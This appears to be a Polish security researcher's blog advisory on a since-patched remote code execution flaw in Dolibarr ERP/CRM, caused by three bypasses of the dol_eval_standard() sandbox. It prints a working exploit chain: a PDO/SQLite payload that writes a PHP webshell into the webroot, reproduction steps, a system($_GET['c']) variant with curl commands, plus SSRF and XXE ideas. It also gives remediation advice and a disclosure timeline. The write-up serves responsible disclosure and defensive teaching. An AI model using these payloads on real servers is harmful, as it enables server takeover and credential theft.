Powrót do bloga

CVE-2026-XXXXXX — Remote Code Execution w Dolibarr ERP/CRM (sandbox bypass w dol_eval_standard)

5 października 2026 Grzegorz Tworek 12 min czytania

Niekompletny sandbox w funkcji dol_eval_standard() pozwala uwierzytelnionemu administratorowi Dolibarr na zdalne wykonanie kodu przez złośliwy computed extrafield — pełny łańcuch eval-to-RCE złożony z trzech niezależnych obejść filtra. CVSS 3.1: 9.1 (CRITICAL).

CVE-2026-XXXXXX — Remote Code Execution w Dolibarr ERP/CRM via dol_eval sandbox bypass

CVE-2026-XXXXXX — RCE przez obejście sandboxa w dol_eval_standard() (Dolibarr ERP/CRM)

Responsible Disclosure: Podatność zgłoszona do zespołu bezpieczeństwa Dolibarr poprzez GitHub Security Advisory (GHSA-5cfw-655w-vqp8), zaakceptowana przez producenta i naprawiona w wersji 23.0.3 (commit ee8ded7) przed publikacją niniejszego artykułu. Researcher: Grzegorz Tworek (Sec4check). Jeśli korzystasz z Dolibarr — zaktualizuj instancję do 23.0.3 lub nowszej.

Podsumowanie

Podczas niezależnych badań bezpieczeństwa zidentyfikowałem podatność typu Remote Code Execution w Dolibarr ERP/CRM. Problem leży w niekompletnym sandboxie funkcji dol_eval_standard() (core/lib/functions.lib.php), która ewaluuje wyrażenia tzw. computed extrafields — pól wyliczanych definiowanych przez administratora. Uwierzytelniony administrator może utworzyć złośliwe wyrażenie, które omija filtr bezpieczeństwa i prowadzi do wykonania dowolnego kodu PHP na serwerze.

Mimo że skonfigurowanie pola wymaga uprawnień administratora, kod wykonuje się w kontekście każdego użytkownika, który otworzy dotknięty rekord. Złośliwy lub przejęty administrator uzyskuje więc trwałe RCE na całym serwerze, z potencjałem lateral movement przez kradzież poświadczeń. Stąd kwalifikacja Scope: Changed i ocena CVSS 3.1: 9.1 (CRITICAL).

CVE IDCVE-2026-XXXXXX — w trakcie przydziału (MITRE CNA-LR)
GHSAGHSA-5cfw-655w-vqp8
TypCWE-94: Improper Control of Generation of Code (Code Injection)
ProduktDolibarr ERP/CRM
Wersje podatne≤ 23.0.0 (potwierdzone na 23.0.0; prawdopodobnie wszystkie z domyślną ścieżką whitelist)
Komponentdol_eval_standard() w core/lib/functions.lib.php
Wektor atakuSieciowy (uwierzytelniony)
Wymagane uprawnieniaWysokie — konto administratora
Interakcja użytkownikaBrak dla samego zapisu; wykonanie następuje przy otwarciu rekordu przez dowolnego użytkownika
CVSS 3.19.1 CRITICAL
Wektor CVSSAV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
StatusNaprawione przez producenta w Dolibarr 23.0.3 (commit ee8ded7)

Analiza techniczna

Dolibarr pozwala definiować computed extrafields — pola, których wartość jest wyliczana z wyrażenia PHP ewaluowanego przez dol_eval() → dol_eval_standard(). Aby ograniczyć ryzyko, funkcja implementuje sandbox oparty na filtrowaniu regexami (ścieżka „whitelist"). Podatność to trzy niezależne obejścia tego sandboxa, które złożone razem dają pełny łańcuch eval-to-RCE.

Bypass 1 — nieograniczona instancjacja klas (linia 12283)

Ścieżka whitelist dopuszcza new ClassName() dla dowolnej klasy, blokując wyłącznie ReflectionFunction:

if (!preg_match('/new ([A-Z][\w]+)/i', $m, $reg)) { // sprawdzenie whitelisty... } else { if ($reg[1] == 'ReflectionFunction') { // blokowana tylko ta klasa return 'Bad string syntax...'; } }

Pozwala to instancjonować niebezpieczne klasy wbudowane: PDO, SimpleXMLElement, SQLite3, SplFileObject.

Bypass 2 — składnia callable array omija whitelistę funkcji (linia 12271)

Regex whitelisty /([\s\w\'\]\"]+)\(/ wykrywa wywołania funkcji/metod, dopasowując tekst przed (. Jednak składnia callable array ([$object, "method"])() umieszcza ) tuż przed ( — a ) nie należy do klasy znaków [\s\w\'\]\"]. Wywołanie jest dla whitelisty niewidoczne.

Dodatkowo tablica $forbiddenphpstrings zawierająca )( (linia 12195) jest sprawdzana wyłącznie na ścieżce blacklist (wewnątrz if (empty($dolibarr_main_restrict_eval_methods))), a nie na domyślnej ścieżce whitelist. Umożliwia to wywoływanie dowolnych metod na zinstancjonowanych obiektach: ([$pdo, "exec"])("SQL").

Bypass 3 — SQLite char() omija restrykcję znaku „<" (linia 12120)

Sandbox blokuje < poprzedzające znak niebędący białym znakiem, by uniemożliwić budowę tagów HTML/PHP. Funkcja char() SQLite konstruuje ciąg <?php z kodów znaków na poziomie bazy danych, więc literał < nigdy nie pojawia się w ewaluowanym wyrażeniu.

Pełny łańcuch

Trzy obejścia składają się w jedno wyrażenie, które tworzy w webroocie plik bazy SQLite z rozszerzeniem .php, zawierający w swoich bajtach literał <?php system('id');?> (wygenerowany przez char()/hex SQLite). Gdy plik zostanie otwarty przez HTTP, parser PHP znajduje tag <?php i wykonuje osadzony kod:

($var1 = new PDO("sqlite:/var/www/html/custom/0.php")) && ([$var1, "exec"])("CREATE TABLE IF NOT EXISTS x AS SELECT X'3C3F7068702073797374656D2827696427293B3F3E'")

Blob X'3C3F...3E' koduje <?php system('id');?> i unika nawiasów wewnątrz stringa SQL (które złapałaby whitelista).

Kroki reprodukcji

  1. Dolibarr 23.0.0, konfiguracja domyślna, konto administratora; katalog htdocs/custom/ zapisywalny dla serwera WWW (domyślnie).
  2. Włącz moduł z obsługą extrafields (np. Third Parties): Home → Setup → Modules/Applications.
  3. Utwórz computed extrafield z nieszkodliwą wartością (/societe/admin/societe_extrafields.php → New attribute): kod rcetest, typ Varchar, Computed value = 1 + 1. Zapisz.
  4. Edytuj atrybut i zmień Computed value na payload łańcucha RCE (tworzący /var/www/html/custom/0.php). Payload przechodzi przez filtr nohtml GETPOST i trafia do bazy.
  5. Otwórz dowolny rekord Third Party — computed extrafield jest ewaluowany przez dol_eval() → eval(), co tworzy plik webshella.
  6. Wykonaj: curl http://TARGET/custom/0.php.

Oczekiwany wynik: uid=33(www-data) gid=33(www-data) groups=33(www-data) — polecenie system('id') wykonuje się jako użytkownik serwera WWW, potwierdzając RCE. Nazwa pliku musi mieć cyfrę tuż przed kropką (np. 0.php), by ominąć kontrolę „kropki między znakami nienumerycznymi".

Wariant — dowolne wykonanie poleceń

Zamiana bloba na <?php system($_GET['c']);?> daje pełny webshell: curl "http://TARGET/custom/0.php?c=whoami".

Ocena wpływu (Impact Assessment)

Remote Code Execution

Wykonanie dowolnego kodu PHP jako użytkownik serwera WWW (www-data/apache) — pełna kontrola nad aplikacją i serwerem.

SSRF

Sam bypass instancjacji klas (new SimpleXMLElement("http://...", 0, true)) wymusza wychodzące żądania do sieci wewnętrznej i metadanych chmury (169.254.169.254).

Arbitrary File Read (XXE)

W połączeniu z atakującym serwerem XML — odczyt dowolnych plików, w tym conf/conf.php z poświadczeniami bazy danych. Bez konieczności zapisu webshella.

Trwałość i eskalacja

Computed field wykonuje się przy każdym otwarciu rekordu przez dowolnego użytkownika — persistent RCE. Przejęte konto admina = pełna kompromitacja serwera.

CVSS 3.1 — szczegółowa punktacja

MetrykaWartość
Attack VectorNetwork — exploitowane przez aplikację webową
Attack ComplexityLow — brak specjalnych warunków
Privileges RequiredHigh — wymagane konto administratora
User InteractionNone — wykonanie przy zwykłym przeglądaniu rekordu
ScopeChanged — kod wykonuje się w kontekście innych użytkowników i całego serwera
Confidentiality / Integrity / AvailabilityHigh / High / High — pełna kompromitacja

CVSS 3.1 Score: 9.1 (CRITICAL)
Vector: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Rekomendowana remediacja

Zastosowane/rekomendowane poprawki:

  1. Blokować wszystkie niebezpieczne klasy wbudowane na ścieżce whitelist, nie tylko ReflectionFunction — utrzymywać jawny allowlist bezpiecznych klas (obiekty biznesowe Dolibarr).
  2. Sprawdzać )( również na ścieżce whitelist — przenieść kontrolę $forbiddenphpstrings przed rozgałęzienie if/else, by obowiązywała uniwersalnie.
  3. Blokować char( i inne funkcje SQL/kodujące, które mogą budować niebezpieczne ciągi w runtime.
  4. Rozważyć analizę AST (np. token_get_all() z dol_eval_new) zamiast filtrowania regexami.

Producent zaadresował problem w Dolibarr 23.0.3 (commit ee8ded7 dla obejść 1 i 3; obejście 2 zostało zablokowane wcześniejszą zmianą).

Oś czasu (Disclosure Timeline)

DataZdarzenie
2026-03-26Odkrycie podatności i potwierdzenie PoC
2026-03-28Zgłoszenie przez GitHub Security Advisory (GHSA-5cfw-655w-vqp8)
2026-03-29Producent zaakceptował zgłoszenie
2026-05-28Poprawka wydana (Dolibarr 23.0.3, commit ee8ded7); advisory zamknięte
2026-10-05Publikacja artykułu i rejestracja CVE jako third-party (MITRE CNA-LR)

Wnioski

Ten przypadek pokazuje, dlaczego sandbox oparty na regexach jest kruchy. Filtr blokował pojedyncze, „oczywiste" wzorce (jedna klasa, jeden znak, jeden ciąg), ale pominął całe klasy równoważnych konstrukcji: inne niebezpieczne klasy, alternatywną składnię wywołań i budowanie ciągów po stronie bazy danych. Co gorsza, część kontroli obowiązywała tylko na jednej z dwóch ścieżek (blacklist vs whitelist) — niespójność, która sama w sobie jest obejściem.

  • Deny-list nie skaluje się dla eval. Jeśli ewaluujesz wyrażenia, bezpieczny jest tylko jawny allowlist operacji — nie czarna lista „złych" wzorców.
  • Spójność ścieżek. Kontrola egzekwowana na jednej gałęzi, a pominięta na drugiej, to klasyczne źródło bypassów.
  • Składnia ma wiele form. Regex dopasowujący „wywołanie funkcji" nie uwzględnił callable array — atakujący zawsze znajdzie równoważną konstrukcję poza wzorcem.
  • Granice warstw. Restrykcja na poziomie PHP (<) nie chroni, gdy ciąg powstaje na poziomie SQLite — filtruj tam, gdzie dane faktycznie się materializują.

Kluczowy takeaway: każda funkcja, która ostatecznie woła eval(), jest granicą zaufania — niezależnie od tego, jak „ograniczony" wydaje się sandbox. Filtrowanie regexami daje złudzenie bezpieczeństwa; realną barierą jest allowlist albo rezygnacja z eval.

Szukasz podatności w swojej aplikacji?

Jako niezależny badacz bezpieczeństwa i pentester pomagam organizacjom identyfikować i eliminować podatności, zanim zrobią to atakujący. Oferuję profesjonalne testy penetracyjne aplikacji webowych zgodne z OWASP ASVS.

Umów bezpłatną konsultację
Powrót do bloga